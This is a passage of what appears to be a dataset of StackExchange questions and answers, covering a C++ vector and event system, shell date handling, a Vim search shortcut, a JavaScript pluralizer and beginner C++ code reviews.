(this->value_end);            }        const_iterator cend() const            {            return ((const_iterator)this->value_end);            }        void swap(my_T &rhs)            {            std::swap(this->vm_begin, rhs.vm_begin);            std::swap(this->value_end, rhs.value_end);            std::swap(this->memory_end, rhs.memory_end);            }        void shrink_to_fit()            {            if (has_spare_capacity())                {                my_T tmp(*this);                swap(tmp);                }            }        void erase(iterator iter)            {            pointer tmp;            if (iter == (this->value_end - 1))                {                pop_back();                }            else if (iter == this->vm_begin)                {                pop_front();                }            else if (iterator_in_range(iter))                {                tmp = allocator_type().allocate(size() - 1);                pointer tmp2 = std::uninitialized_copy(this->vm_begin, iter, tmp);                tmp2 = std::uninitialized_copy((iter + 1), this->value_end, tmp2);                assign(tmp, tmp2);                }            }        void erase(iterator first, iterator last)            {            if (last == (this->value_end - 1))                {                while (last-- != first)                    {                    pop_back();                    }                pop_back();                }            else if (first == this->vm_begin)                {                while (first++ != last)                    {                    pop_front();                    }                pop_front();                }            else if (iterator_in_range(first) && iterator_in_range(last))                {                pointer tmp = allocator_type().allocate(size() - std::distance(first, last));                pointer tmp2 = std::uninitialized_copy(this->vm_begin, first, tmp);                tmp2 = std::uninitialized_copy((last + 1), this->value_end, tmp2);                assign(tmp, tmp2);                }            }        void insert(iterator iter, T const &val)            {            T v1 = val;            if (iter == this->vm_begin)                {                push_front(v1);                }            else if (iter == (this->value_end - 1))                {                push_back(v1);                }            else if (iterator_in_range(iter))                {                allocator_type alloc;                pointer tmp = alloc.allocate(realloc_size(size() + 1));                pointer tmp2 = std::uninitialized_copy(this->vm_begin, iter, tmp);                alloc.construct(tmp2++, v1);                tmp2 = std::uninitialized_copy(iter, this->value_end, tmp2);                assign(tmp, tmp2);                }            }        void insert(iterator iter, int count, T const &val)            {            T v1 = val;            if (iter == this->vm_begin)                {                while (count--)                    {                    push_front(v1);                    }                }            else if (iter == (this->value_end - 1))                {                while (count--)                    {                    push_back(v1);                    }                }            else if (iterator_in_range(iter))                {                allocator_type alloc;                pointer tmp = alloc.allocate(realloc_size(size() + 1));                pointer tmp2 = std::uninitialized_copy(this->vm_begin, iter, tmp);                while (count--)                    {                    alloc.construct(tmp2++, v1);                    }                tmp2 = std::uninitialized_copy(iter, this->value_end, tmp2);                assign(tmp, tmp2);                }            }        void insert(iterator iter, iterator first, iterator last)            {            if (iter == this->vm_begin)                {                while (first != last)                    {                    push_front(*(first++));                    }                }            else if (iter == (this->value_end - 1))                {                while (first != last)                    {                    push_back(*(first++));                    }                }            else if (iterator_in_range(iter))                {                   allocator_type alloc;                pointer tmp = alloc.allocate(realloc_size(size() + 1));                pointer tmp2 = std::uninitialized_copy(this->vm_begin, iter, tmp);                while (first != last)                    {                    alloc.construct(tmp2++, *(first++));                    }                tmp2 = std::uninitialized_copy(iter, this->value_end, tmp2);                assign(tmp, tmp2);                }            }        void push_back(T const &val)            {            allocator_type alloc;            T v1 = val;            if (has_spare_capacity())                {                this->value_end++;                alloc.construct(this->value_end - 1, v1);                }            else if (reallocate(realloc_size(size() + 1)))                {                this->value_end++;                alloc.construct(this->value_end - 1, v1);                }            }        void pop_back()            {            pointer tmp = allocator_type().allocate(size() - 1);            pointer tmp2 = std::uninitialized_copy(this->vm_begin, this->value_end - 1, tmp);            assign(tmp, tmp2);            }        void push_front(T const &val)            {            allocator_type alloc;            T v1 = val;            vector tmp;            tmp.push_back(v1);            for (iterator it = this->vm_begin; it != this->value_end; ++it)                {                tmp.push_back(*it);                }            swap(tmp);            }        void pop_front()            {            pointer tmp = allocator_type().allocate(size() - 1);            pointer tmp2 = std::uninitialized_copy(this->vm_begin + 1, this->value_end, tmp);            assign(tmp, tmp2);            }        size_type size() const            {            return (this->value_end - this->vm_begin);            }        reference operator[](size_type pos)            {            return (*(this->vm_begin + pos));            }        const_reference operator[](size_type pos) const            {            return (*(this->vm_begin + pos));            }    private:        bool allocate(size_type sz)            {            allocator_type alloc;            if (alloc.max_size() > sz)                {                try                    {                    this->vm_begin = alloc.allocate(sz);                    this->value_end = this->vm_begin;                    this->memory_end = this->vm_begin + sz;                    }                catch (...)                    {                    kill();                    throw;                    }                return (true);                }            return (false);            }        bool reallocate(size_type sz)            {            allocator_type alloc;            if (alloc.max_size() > sz)                {                try                    {                    pointer nbegin, nvend, nmend;                    nbegin = alloc.allocate(sz);                    nmend = nbegin + sz;                    nvend = std::uninitialized_copy(this->vm_begin, this->value_end, nbegin);                    this->vm_begin = nbegin;                    this->value_end = nvend;                    this->memory_end = nmend;                    }                catch (...)                    {                    kill();                    throw;                    }                return (true);                }            return (false);            }        size_type realloc_size(size_type sz) const            {            return ((allocator_type().max_size() > (sz * 1.5)) ? (sz * 1.5) : sz);            }        bool iterator_in_range(const_iterator iter) const            {            return (iter >= this->vm_begin && iter < this->value_end);            }        void assign(my_T &rhs)            {            assign(rhs.vm_begin, rhs.value_end);            }        void assign(pointer first, pointer last)            {            size_type sz = std::distance(first, last);            if (sz > capacity())                {                if (reallocate(realloc_size(sz)))                    {                    wipe(this->vm_begin, this->value_end);                    this->value_end = std::uninitialized_copy(first, last, this->vm_begin);                    }                }            else                {                wipe(this->vm_begin, this->value_end);                this->value_end = std::uninitialized_copy(first, last, this->vm_begin);                }            }        void wipe(pointer ptr)            {            allocator_type().destroy(ptr);            }        void wipe(pointer first, pointer last)            {            allocator_type alloc;            while (first != last)                {                alloc.destroy(first++);                }            }        void wipe(pointer ptr, size_type dist)            {            allocator_type alloc;            while (dist-- != 0)                {                alloc.destroy(ptr);                }            }        void kill()            {            if (this->vm_begin != pointer())                {                wipe(this->vm_begin, this->value_end);                allocator_type().deallocate(this->vm_begin, capacity());                }            }        inline size_type capacity() const            {            return (this->memory_end - this->vm_begin);            }        inline size_type spare_capacity() const            {            return (this->memory_end - this->value_end);            }        bool has_spare_capacity() const            {            return (spare_capacity() > 0);            }        };    }# endif"  , "title": "C++ vector implementation errors"  , "tags": "c++;reinventing the wheel;vectors"  } 
{  "id": "_codereview.123905"  , "question": "I'm interested in receiving some feedback regarding an Event system that I wrote. Both in style and implementation, but also in overall design and the design decisions that I made.It is intended to be used as part of a game (hobby project of mine) and is intended to be used on a single thread. While receivers will always receive events on the services owning thread, I may add the ability for other threads to send events in the future. It is intended to have very low overhead in regards to execution time and scale well.Here it is:EventService.h#pragma once#include Core\\ITimerService.h#include Events\\EventListener.h#include Helpers\\NonCopyable.h#include <thread>#include <chrono>#include <functional>#include <typeindex>#include <unordered_map>#include <memory>namespace quasar{    // The EventService provides a service for objects to    // register an interest in recieving events, which are arbitary typed    // data and an to send those events. Events are guaranteed to be    // executed at a known point of execution but in an undefined order.    //     // It is currently not thread safe.    //    class EventService : public NonCopyable    {    public:        template <typename EventT>        using OnEventSignature = void(const EventT& evnt);        // Constructor        // Intializes the EventService with the calling thread as the owning thread        // param    timerService    The timer service to use for timed events        EventService(ITimerService* timerService);        // Constructor        // Intializes the EventService        // param    timerService    The timer service to use for timed events        // param    owningThread    The thread that owns this event service        EventService(ITimerService* timerService, const std::thread::id& owningThread);        // Queues up an event for execution        // param    evnt    the event to queue up        template <typename EventT>        void send(EventT&& evnt);        // Queues up an event for execution after a delay        // param    evnt    the event to queue up        // param    delay   the time delay until the event should be        //                  exeucted, guaranteed to wait at least         //                  for the delay and execute on the very        //                  next executeEventQueue call afterwards        template <typename EventT>        void send(EventT&& evnt, std::chrono::duration<std::chrono::steady_clock> delay);        // Registers a Listener interested in handling events        // tparam   EventT    the exact type of event that the listener        //                    is interested in.        // tparam   ListenerT the (exact) type of listener to register,        //                    will tie the ListenerT's         //                    void onEvent(const EventT&) method as the        //                    trigger function.        // param    owner     the listener, the lifetime of the registration        //                    will be tied to the lifetime of the listener        template <typename EventT, typename ListenerT>        void registerListener(ListenerT& owner);        // Registers a Listener interested in handling events        // tparam   EventT    the exact type of event that the listener        //                    is interested in.        // param    owner     the listener, the lifetime of the registration        //                    will be tied to the lifetime of the listener        // param    onEventFunction the function to invoke when the expected        //                    event is executed        template <typename EventT>        void registerListener(EventListener& owner, const std::function<OnEventSignature<EventT>>& onEventFunction);        // Infroms the service that a listener is no longer         // interested in recieving events        // param    handle  the handle of the registration        //                  to unregister        // returns true if the listener was removed, false if it was        // not registered        bool unregisterListener(const RegisteredEventListenerHandle& handle);        // Executes all events in the event queue,        // as well as all delayed events whose time        // to execute has come        void executeEventQueue();    private:        class IEventTypeNode;        template <typename EventT>        class EventNode;        template <typename EventT>        EventNode<EventT>& getEventNode();        ITimerService* timerService;        std::thread::id owningThread;        std::unordered_map<std::type_index, std::unique_ptr<IEventTypeNode> > listenerMap;        uint32 lastListenerId;    };}#include Events\\EventService.hppEventService.hpp#pragma once#include Events\\EventService.h#include <queue>#include <utility>namespace quasar{    class EventService::IEventTypeNode    {    public:        virtual ~IEventTypeNode() = default;        template <typename EventT>        EventNode<EventT>& getAsEventTypeNode()        {#ifdef  _DEBUG            auto ptr = dynamic_cast<EventNode<EventT>*>(this);            assert(ptr != nullptr);            return *ptr;#else            return *static_cast<EventNode<EventT>*>(this);#endif // _DEBUG        }        virtual void removeListenerRegistration(uint32 id) = 0;        virtual void executeEventQueue(const std::chrono::time_point<std::chrono::steady_clock> currentTime) = 0;    };    template <typename EventT>    class EventService::EventNode : public EventService::IEventTypeNode    {    public:        using OnEventFuncT = std::function<EventService::OnEventSignature<EventT>>;        void queueUp(EventT&& evnt)        {            this->eventQueue.push_back(evnt);        }        void queueUp(EventT&& evnt, std::chrono::time_point<std::chrono::steady_clock> triggerPoint)        {            this->timedEventQueue.push(std::make_pair(std::forward(evnt), triggerPoint));        }        void addListenerRegistration(uint32 id,            const OnEventFuncT& onEventFunc)        {            assert(this->onEventFunctions.find(id) == this->onEventFunctions.end());            this->onEventFunctions[id] = onEventFunc;        }        void addListenerRegistration(uint32 id,            OnEventFuncT&& onEventFunc)        {            assert(this->onEventFunctions.find(id) == this->onEventFunctions.end());            this->onEventFunctions[id] = onEventFunc;        }        void removeListenerRegistration(uint32 id) override        {            assert(this->onEventFunctions.find(id) != this->onEventFunctions.end());            this->onEventFunctions.erase(this->onEventFunctions.find(id));        }        void executeEventQueue(const std::chrono::time_point<std::chrono::steady_clock> currentTime) override        {            for (const auto& function : this->onEventFunctions)            {                for (const EventT& evnt : this->eventQueue)                {                    function.second(evnt);                }            }            this->eventQueue.clear();            while (!this->timedEventQueue.empty())            {                const TimedEventT& timedEvent = this->timedEventQueue.top();                if (currentTime >= timedEvent.second)                {                    for (const auto& function : this->onEventFunctions)                    {                        function.second(timedEvent.first);                    }                    this->timedEventQueue.pop();                }                else                {                    break;                }            }        }    private:        using TimedEventT = std::pair<EventT, std::chrono::time_point<std::chrono::steady_clock>>;        struct IsScheduledEarlier        {            bool operator()(const TimedEventT& left, const TimedEventT& right) const            {                return left.second < right.second;            }        };        std::vector<EventT> eventQueue;        std::priority_queue<TimedEventT, std::vector<TimedEventT>, IsScheduledEarlier> timedEventQueue;        std::unordered_map<uint32, OnEventFuncT> onEventFunctions;    };    template <typename EventT>    EventService::EventNode<EventT>& EventService::getEventNode()    {        std::type_index index(typeid(EventT));        auto found = this->listenerMap.find(index);        if (found == this->listenerMap.end())        {            auto newNode = std::make_unique<EventNode<EventT>>();            this->listenerMap[index] = std::move(newNode);            found = this->listenerMap.find(index);        }        return found->second->getAsEventTypeNode<EventT>();    }    template <typename EventT>    void EventService::send(EventT&& evnt)    {        assert(std::this_thread::get_id() == this->owningThread);        this->getEventNode<EventT>().queueUp(std::forward<EventT>(evnt));    }    template <typename EventT>    void EventService::send(EventT&& evnt, std::chrono::duration<std::chrono::steady_clock> delay)    {        assert(std::this_thread::get_id() == this->owningThread);        this->getEventNode<EventT>().queueUp(std::forward<EventT>(evnt), this->timerService->timestamp() + delay);    }    template <typename EventT, typename ListenerT>    void EventService::registerListener(ListenerT& owner)    {        using OnEventMemberType = void(ListenerT::*)(const EventT&);        this->registerListener<EventT>(owner,             std::bind(static_cast<OnEventMemberType>(&ListenerT::onEvent), &owner, std::placeholders::_1));    }    template <typename EventT>    void EventService::registerListener(EventListener& owner,                                         const std::function<OnEventSignature<EventT>>& onEventFunction)    {        assert(std::this_thread::get_id() == this->owningThread);        uint32 id = lastListenerId++;        this->getEventNode<EventT>().addListenerRegistration(id, onEventFunction);        owner.addRegistrationHandle(RegisteredEventListenerHandle(typeid(EventT), this, id));    }}EventService.cpp#include Events\\EventService.hnamespace quasar{    EventService::EventService(ITimerService* timerService)        : EventService(timerService, std::this_thread::get_id())    {    }    EventService::EventService(ITimerService* timerService, const std::thread::id& owningThread)        : timerService(timerService)        , owningThread(owningThread)        , lastListenerId(1)    {    }    bool EventService::unregisterListener(const RegisteredEventListenerHandle& handle)    {        auto found = this->listenerMap.find(handle.typeIndex);        if (found != this->listenerMap.end())        {            found->second->removeListenerRegistration(handle.id);            return true;        }        return false;    }    void EventService::executeEventQueue()    {        auto timestamp = this->timerService->timestamp();        for (const auto& node : this->listenerMap)        {            node.second->executeEventQueue(timestamp);        }    }}EventListener.h#pragma once#include Core\\NumTypes.h#include Helpers/NonCopyable.h#include <vector>#include <typeindex>namespace quasar{    class EventService;    // Handle that identifies a uniqe event listener registration    struct RegisteredEventListenerHandle    {        RegisteredEventListenerHandle(const std::type_index& typeIndex,                                       EventService* eventService,                                      uint32 id);        std::type_index typeIndex;        EventService* eventService;        uint32 id;    };    //    // Base class for objects capable of listening for events    // Handles lifetime of listener registration    //    class EventListener : public NonCopyable    {    public:        virtual ~EventListener();        // Ties the lifetime of a listener regitration to this listener         // param    handle  the handle of the registration        void addRegistrationHandle(const RegisteredEventListenerHandle& handle);    private:        std::vector<RegisteredEventListenerHandle> handles;    };}EventListener.cpp#include Events\\EventListener.h#include Events\\EventService.hnamespace quasar{    RegisteredEventListenerHandle::RegisteredEventListenerHandle(const std::type_index& typeIndex,                                                                  EventService* eventService,                                                                 uint32 id)        : typeIndex(typeIndex)        , eventService(eventService)        , id(id)    {    }    EventListener::~EventListener()    {        for (auto& handle : this->handles)        {            handle.eventService->unregisterListener(handle);        }    }    void EventListener::addRegistrationHandle(const RegisteredEventListenerHandle& handle)    {        this->handles.push_back(handle);    }}"  , "title": "Event Service in c++"  , "tags": "c++;event handling"  } 
{  "id": "_unix.57590"  , "question": "I'm trying to append the current date to the end of a file name like this:TheFile.log.2012-02-11Here is what I have so far:set today = 'date +%Y'mkdir -p The_Logs &find . -name The_Logs -atime -1 -type d -exec mv \\{} The_Logs_+$today \\; &However all I get is the name of the file, and it appends nothing.  How do I append a current date to a filename?"  , "title": "Appending a current date from a variable to a filename"  , "tags": "bash;shell;rename;date"  , "accepted_answer": "More than likely it is your use of set.  That will assign 'today', '=' and the output of the date program to positional parameters (aka command-line arguments).  You want to just use C shell (which you are tagging this as bash, so likely not), you will want to use:today=`date +%Y-%m-%d.%H:%M:%S` # or whatever pattern you desireNotice the lack of spaces around the equal sign.You also do not want to use & at the end of your statements; which causes the shell to not wait for the command to finish.  Especially when one relies on the next.  The find command could fail because it is started before the mkdir. "  } 
{  "id": "_unix.309786"  , "question": "When I paste into my terminal session the shell immediately executes the command without me pressing the enter key.I really don't know how to disable that behaviour. I'm using the preinstalled terminal on MacOS Yosemite."  , "title": "Disable default Copy&Paste behaviour in Bash"  , "tags": "bash;terminal;osx"  } 
{  "id": "_vi.9001"  , "question": "I would like to be able to search google from within any vim file. A nice command might be :goo while in normal mode. Then I type what I want to search and bam it opens my default browser with the search. How would I do this?"  , "title": "How do I search google from vim?"  , "tags": "external command;bash"  , "accepted_answer": "You have a couple of options here:Using a plugin:vim-ggsearchvim-quicklinkOr, if you prefer a lightweight solution, you can try the following:function! GoogleSearch()     let searchterm = getreg(g)     silent! exec silent! !firefox \\http://google.com/search?q= . searchterm . \\ &endfunctionvnoremap <F6> gy<Esc>:call GoogleSearch()<CR>(source)Using the vim-shell plugin you can rewrite this to:function! GoogleSearch()     let searchterm = getreg(g)     Open http://google.com/search?q= . searchterm . \\ &endfunctionvnoremap <F6> gy<Esc>:call GoogleSearch()<CR>You can also have a look at those links:http://vim.wikia.com/wiki/Search_the_web_for_text_selected_in_Vimhttps://www.reddit.com/r/vim/comments/37ou4p/help_me_search_google_from_vim/http://vim.wikia.com/wiki/Internet_search_for_the_current_wordAnd I highly recommend this video by Drew Niel."  } 
{  "id": "_webapps.24612"  , "question": "When using VEVO it seems impossible to register without using Facebook. No other options are given (even with Incognito)Is there a path to a regular form registration? I just want to save a playlist."  , "title": "How to sign up to VEVO without using Facebook"  , "tags": "vevo"  , "accepted_answer": "This is possible now (2016) by going to http://www.vevo.com/signup.You can't do that anymore.We heard that music video site Vevo was planning a major site redesign, and those news changes are rolling out today just as planned. The first major difference you'll notice is that the only way to sign up for an account is with Facebook, and existing users must now log in with Facebook as well.Source."  } 
{  "id": "_codereview.129146"  , "question": "I'm looking for optimizations and/or improvements.  The code's flagship method read takes qty,item in the form of an array of arrays.pluralizer.read([[2,'orange'],[3,'peach'],[5,'cherry']])returns string2 oranges, 3 peaches, and 5 cherriesGitHub//Revealing Module Pattern (Public & Private) w Public Namespace 'pluralizer'var pluralizer = (function() {    var pub = {};    var r = 'pluralizer.js error';    var expectedArrayOfArrays = {name:r, message:'Invalid argument.  Expected array of arrays'};    //creates Array.isArray() if it's not natively available    if (!Array.isArray) {        Array.isArray = function(arg) {            return Object.prototype.toString.call(arg) === '[object Array]';        };    }    if (!String.prototype.endsWith) {        String.prototype.endsWith = function(searchString, position) {            var subjectString = this.toString();            if (typeof position !== 'number' || !isFinite(position) || Math.floor(position) !== position || position > subjectString.length) {            position = subjectString.length;            }            position -= searchString.length;            var lastIndex = subjectString.indexOf(searchString, position);            return lastIndex !== -1 && lastIndex === position;        };    }    var irregular = [['child','children'],        ['die','dice'],        ['foot','feet'],        ['goose','geese'],        ['louse','lice'],        ['man','men'],        ['mouse','mice'],        ['ox','oxen'],        ['person','people'],        ['that','those'],        ['this','these'],        ['tooth','teeth'],        ['woman','women']];    var xExceptions = [['axis','axes'], ['ox','oxen']];    var fExceptions = [['belief','beliefs'],        ['chef','chefs'],        ['chief','chiefs'],        ['dwarf','dwarfs'],        ['grief','griefs'],        ['gulf','gulfs'],        ['handkerchief','handkerchiefs'],        ['kerchief','kerchiefs'],        ['mischief','mischiefs'],        ['muff','muffs'],        ['oaf','oafs'],        ['proof','proofs'],        ['roof','roofs'],        ['safe','safes'],        ['turf','turfs']];    var feExceptions = [[' safe','safes']];    var oExceptions = [['albino','albinos'],        ['armadillo','armadillos'],        ['auto','autos'],        ['cameo','cameos'],        ['cello','cellos'],        ['combo','combos'],        ['duo','duos'],        ['ego','egos'],        ['folio','folios'],        ['halo','halos'],        ['inferno','infernos'],        ['lasso','lassos'],        ['memento','mementos'],        ['memo','memos'],        ['piano','pianos'],        ['photo','photos'],        ['portfolio','portfolios'],        ['pro','pros'],        ['silo','silos'],        ['solo','solos'],        ['stereo','stereos'],        ['studio','studios'],        ['taco','tacos'],        ['tattoo','tattoos'],        ['tuxedo','tuxedos'],        ['typo','typos'],        ['veto','vetoes'],        ['video','videos'],        ['yo','yos'],        ['zoo','zoos']];    var usExceptions = [['abacus','abacuses'],        ['crocus','crocuses'],        ['genus','genera'],        ['octopus','octopuses'],        ['rhombus','rhombuses'],        ['walrus','walruses']];    var umExceptions = [['album','albums'], ['stadium','stadiums']];    var aExceptions = [['agenda','agendas'],            ['alfalfa','alfalfas'],         ['aurora','auroras'],           ['banana','bananas'],           ['barracuda','barracudas'],         ['cornea','corneas'],           ['nova','novas'],           ['phobia','phobias']];    var onExceptions = [['balloon','balloons'], ['carton','cartons']];    var exExceptions = [['annex','annexes'],         ['complex','complexes'],         ['duplex','duplexes'],         ['hex','hexes'],         ['index','indices']];    var unchanging = ['advice',        'aircraft',        'bison',        'corn',        'deer',        'equipment',        'evidence',        'fish',        'gold',        'information',        'jewelry',        'kin',        'legislation',        'luck',        'luggage',        'moose',        'music',        'offspring',        'sheep',        'silver',        'swine',        'trousers',        'trout',        'wheat'];    var onlyPlurals = ['barracks',        'bellows',        'cattle',        'congratulations',        'deer',        'dregs',        'eyeglasses',        'gallows',        'headquarters',        'mathematics',        'means',        'measles',        'mumps',        'news',        'oats',        'pants',        'pliers',        'pajamas',        'scissors',        'series',        'shears',        'shorts',        'species',        'tongs',        'tweezers',        'vespers'];    var doc = document;    doc.addEventListener(DOMContentLoaded, function(event) {    });    pub.help = Pluralizer.js returns 2 public methods - read and format.  Pluralizer.read expects an array of arrays, each with quantity and item name, e.g. pluralizer.read([[2,'orange'],[3,'peach'],[5,'cherry']]) returns string '2 oranges, 3 peaches, and 5 cherries.'.  Pluralizer.format expects an array with quantity and item name, e.g., pluralizer.format([3,'couch']) returns array '[3, 'couches']'    pub.read = function (arr) {        if(isArrayOfArrays(arr)){            var count = arr.length;            var str = '';            var temp = [];            switch (count) {                //if arr has 1 item is 1 apple (no and no commas)                case 1:                    temp[0] = pluralizer.format(arr[0]);                    str = temp[0][0] + ' ' + temp[0][1];                    break;                //if arr has 2 items it's 1 apple and 2 oranges (no commas but an and)                case 2:                    temp[0] = pluralizer.format(arr[0]);                    temp[1] = pluralizer.format(arr[1]);                    str = temp[0][0] + ' ' + temp[0][1] + ' and ' + temp[1][0] + ' ' + temp[1][1];                    break;                //if arr has 3 items or more it's 1 apple, 2 oranges, and 3 cherries (the last item has an 'and ' put before it)                default:                    // for each item in array output format it and concatentate it to a string                    var arrayLength = arr.length;                    for (var i = 0; i < arrayLength; i++) {                        temp = pluralizer.format(arr[i]);                        //if this is 2nd last item append with ', and '                        if (i === arrayLength - 2){                            str += temp[0] + ' ' + temp[1] + ', and ';                        }                        //if this is last item append with '.'                        else if (i === arrayLength - 1){                            str += temp[0] + ' ' + temp[1] + '.';                        }                        else {                            str += temp[0] + ' ' + temp[1] + ', ';                        }                    }            }            return str;        } else {            throw expectedArrayOfArrays;        }    }    pub.format = function (arr) {        //if qty is greater than 1 we need to add s, es, or ies        var qty = arr[0];        var str = arr[1];        if (qty > 1){            //Word ends in s, x, ch, z, or sh            if (str.endsWith('s') || str.endsWith('x') || str.endsWith('ch') || str.endsWith('sh') || str.endsWith('z')){                //look for exceptions first xExceptions                for (var i = 0; i < xExceptions.length; i++) {                    if(str === xExceptions[i][0]){                        return [qty,xExceptions[i][1]];                    }                }                //str = str.substring(0, str.length - 1);                str = str + 'es';                return [qty,str];            }            // Ending in 'y'            else if (str.endsWith('y')){                var s = str.substring(0, str.length - 1);                // preceded by a vowel                if (s.endsWith('a') || s.endsWith('e') || s.endsWith('i') || s.endsWith('o') || s.endsWith('u')){                    str = str + 's';                    return [qty,str];                } else {                    //drop the y and add ies                    str = s + 'ies';                    return [qty,str];                }            }            //Ends with 'ff' or 'ffe'            else if (str.endsWith('ff') || str.endsWith('ffe')){                str = str + 's';                return [qty,str];            }            //Ends with 'f' (but not 'ff')            else if (str.endsWith('f')){                //look for exceptions first fExceptions                for (var i = 0; i < fExceptions.length; i++) {                    if(str === fExceptions[i][0]){                        return [qty,fExceptions[i][1]];                    }                }                //Change the 'f' to 'ves'                var s = str.substring(0, str.length - 1);                str = s + 'ves';                return [qty,str];            }            //Ends with 'fe' (but not ffe')            else if (str.endsWith('fe')){                //look for exceptions first feExceptions                for (var i = 0; i < feExceptions.length; i++) {                    if(str === feExceptions[i][0]){                        return [qty,feExceptions[i][1]];                    }                }                //Change the 'fe' to 'ves'                var s = str.substring(0, str.length - 2);                str = s + 'ves';                return [qty,str];            }            //Ends with 'o'            else if (str.endsWith('o')){                //look for exceptions first oExceptions                for (var i = 0; i < oExceptions.length; i++) {                    if(str === oExceptions[i][0]){                        return [qty,oExceptions[i][1]];                    }                }                //Add 'es'                str = s + 'es';                return [qty,str];            }            //Ends with 'is'            else if (str.endsWith('is')){                //Change final 'is' to 'es'                var s = str.substring(0, str.length - 2);                str = s + 'es';                return [qty,str];            }            //Ends with 'us'            else if (str.endsWith('us')){                //look for exceptions first oExceptions                for (var i = 0; i < usExceptions.length; i++) {                    if(str === usExceptions[i][0]){                        return [qty,usExceptions[i][1]];                    }                }                //Change final 'us' to 'i'                var s = str.substring(0, str.length - 2);                str = s + 'i';                return [qty,str];            }            //Ends with 'um'            else if (str.endsWith('um')){                //look for exceptions first oExceptions                for (var i = 0; i < umExceptions.length; i++) {                    if(str === umExceptions[i][0]){                        return [qty,umExceptions[i][1]];                    }                }                //Change final 'um' to 'a'                var s = str.substring(0, str.length - 2);                str = s + 'a';                return [qty,str];            }              //Ends with 'a' but not 'ia'              else if (str.endsWith('a')){                //not ending is 'ia'                if (str.endsWith('ia')){                    str = str + 's';                    return [qty,str];                }                //look for exceptions first aExceptions                for (var i = 0; i < aExceptions.length; i++) {                    if(str === aExceptions[i][0]){                        return [qty,aExceptions[i][1]];                    }                }                //Change final 'a' to 'ae'                var s = str.substring(0, str.length - 2);                str = s + 'a';                return [qty,str];            }                             //Ends with 'on'  Change final 'on' to 'a'            else if (str.endsWith('on')){                //look for exceptions first onExceptions                for (var i = 0; i < onExceptions.length; i++) {                    if(str === onExceptions[i][0]){                        return [qty,onExceptions[i][1]];                    }                }                //Change final 'um' to 'a'                var s = str.substring(0, str.length - 2);                str = s + 'a';                return [qty,str];            }            //Ends with 'ex'            else if (str.endsWith('ex')){                //look for exceptions first onExceptions                for (var i = 0; i < exExceptions.length; i++) {                    if(str === exExceptions[i][0]){                        return [qty,exExceptions[i][1]];                    }                }                //Change final 'ex' to 'ices'                var s = str.substring(0, str.length - 2);                str = s + 'ices';                return [qty,str];            }            else {                //check unchanging                for (var i = 0; i < unchanging.length; i++) {                    if(str === unchanging[i]){                        return [qty,str];                    }                }                                    //check onlyPlurals                for (var i = 0; i < onlyPlurals.length; i++) {                    if(str === onlyPlurals[i]){                        return [qty,str];                    }                }                //check irregular                for (var i = 0; i < irregular.length; i++) {                    if(str === irregular[i][0]){                        return [qty,irregular[i][1]];                    }                }                str = str + 's';                return [qty,str];            }        } else {            return [qty,str];        }    }    function isArrayOfArrays(arr){        if(Array.isArray(arr)){            var result = true;            for (var i = 0; i < arr.length; i++) {                if(!Array.isArray(arr[i])){                    result = false;                    //throw expectedArrayOfArrays;                }            }            if(result){                return true;            } else {                //throw expectedArrayOfArrays;                return false;            }        } else {            return false;        }    }    //API    return pub;}());"  , "title": "pluralizer.js - return plural version of item if qty > 1"  , "tags": "javascript"  } 
{  "id": "_codereview.140448"  , "question": "I am a college student and started my first week of C++ and we were given an assignment to convert a Java program that calculate the interest on a series of loans given the amount of the principal, the annual interest rate, and the number of days in a sentinel loop into C++.Here is what we were given:import java.util.Scanner;public class ex311{public static void main(String[] args){    double principle, rate, interest;    int days;    Scanner sc = new Scanner(System.in);    System.out.print(Enter principle (-1 to end):  );    principle = sc.nextDouble();    while (principle != -1)    {        System.out.print(Enter annual interest rate (as a decimal):  );        rate = sc.nextDouble();        System.out.print(Enter number of days:  );        days = sc.nextInt();        interest = principle * rate / 365 * days;        System.out.printf(Interest is %.2f\\n, interest);        System.out.print(\\nEnter principle (-1 to end):  );        principle = sc.nextDouble();    }}}This is what I have for the C++ converted code:#include <iostream>using namespace std;void main(){    double principle, rate, interest;int days;cout << Enter principle (-1 to end);cin >> principle;while (principle != -1){    cout << Enter annual interest rate(as a decimal);    cin >> rate;    cout << Enter number of days;    cin >> days;    interest = principle * rate / 365 * days;    cout << Interest is << interest;    cout << Enter principle (-1 to end);    cin >> principle;}}I would like to know if there is a better way to go about this, as in making my code more efficient. I am aware that I should not be using void main, but this is how we're being taught for the time being."  , "title": "Calculating the interest on a series of loans"  , "tags": "c++;beginner;finance"  } 
{  "id": "_codereview.87301"  , "question": "I've written a script to automate the entry of laboratory instrument data into an Excel spreadsheet using pandas and win32com.I've got the script functioning correctly, but it is painfully slow. In an attempt to profile the code, my acfmp_ToExcel function seems to be the culprit. I've pasted the profiling data for this function at the bottom. Is there any way to get this code running faster? It takes anywhere from 20-30 seconds each time I run it.What the function does is take a list of queries (strings within a column of a dataframe, df_acfmp), then using those queries pull data from the other dataframe columns and put those values into an Excel spreadsheet at specific locations.The function is essentially one bundle of code (if any():) repeated 3 times within the main for loop.def acfmp_ToExcel(queries):order_list = {'one':['_410-', '_510-'], 'two':['_420-', '_530-'], 'three': ['_430-', '_590-']}queerz = Series(queries)fronts = queerz[queerz.str.endswith(_F)]fronts_plus = queerz[queerz.str.endswith(F+7)]backs = queerz[queerz.str.endswith(_B)]for each_queer in queerz:    if any(q in each_queer for q in order_list['one']):        locale_front = np.where(df_acfmp['Name'].str.contains(fronts.iloc[0]+'$'))        positions_front = locale_front[0]        fnd_f = 'F + 0 mm'        x = xsheet1.Range('b1:b1000').Find(fnd_f)        x_two = xsheet1.Range('b1:b1000').FindNext(x)        x_three = xsheet1.Range('b1:b1000').FindNext(x_two)        x_four = xsheet1.Range('b1:b1000').FindNext(x_three)        x_five = xsheet1.Range('b1:b1000').FindNext(x_four)        x_six = xsheet1.Range('b1:b1000').FindNext(x_five)        x_seven = xsheet1.Range('b1:b1000').FindNext(x_six)        front_queer = fronts_plus.iloc(0)        locale_fronts_plus = np.where(df_acfmp['Name'].str.contains(front_queer, regex = False))        positions_fronts_plus = locale_fronts_plus[0]        fnd_p = 'F + 7 mm'        y_ = xsheet1.Range('b1:b1000').Find(fnd_p)        y_two = xsheet1.Range('b1:b1000').FindNext(y_)        y_three = xsheet1.Range('b1:b1000').FindNext(y_two)        y_four = xsheet1.Range('b1:b1000').FindNext(y_three)        y_five = xsheet1.Range('b1:b1000').FindNext(y_four)        y_six = xsheet1.Range('b1:b1000').FindNext(y_five)        try:            y_seven = xsheet1.Range('b1:b1000').FindNext(y_six)        except: pass        locale_backs = np.where(df_acfmp['Name'].str.contains(backs.iloc[0]))        positions_backs = locale_backs[0]        fnd_b 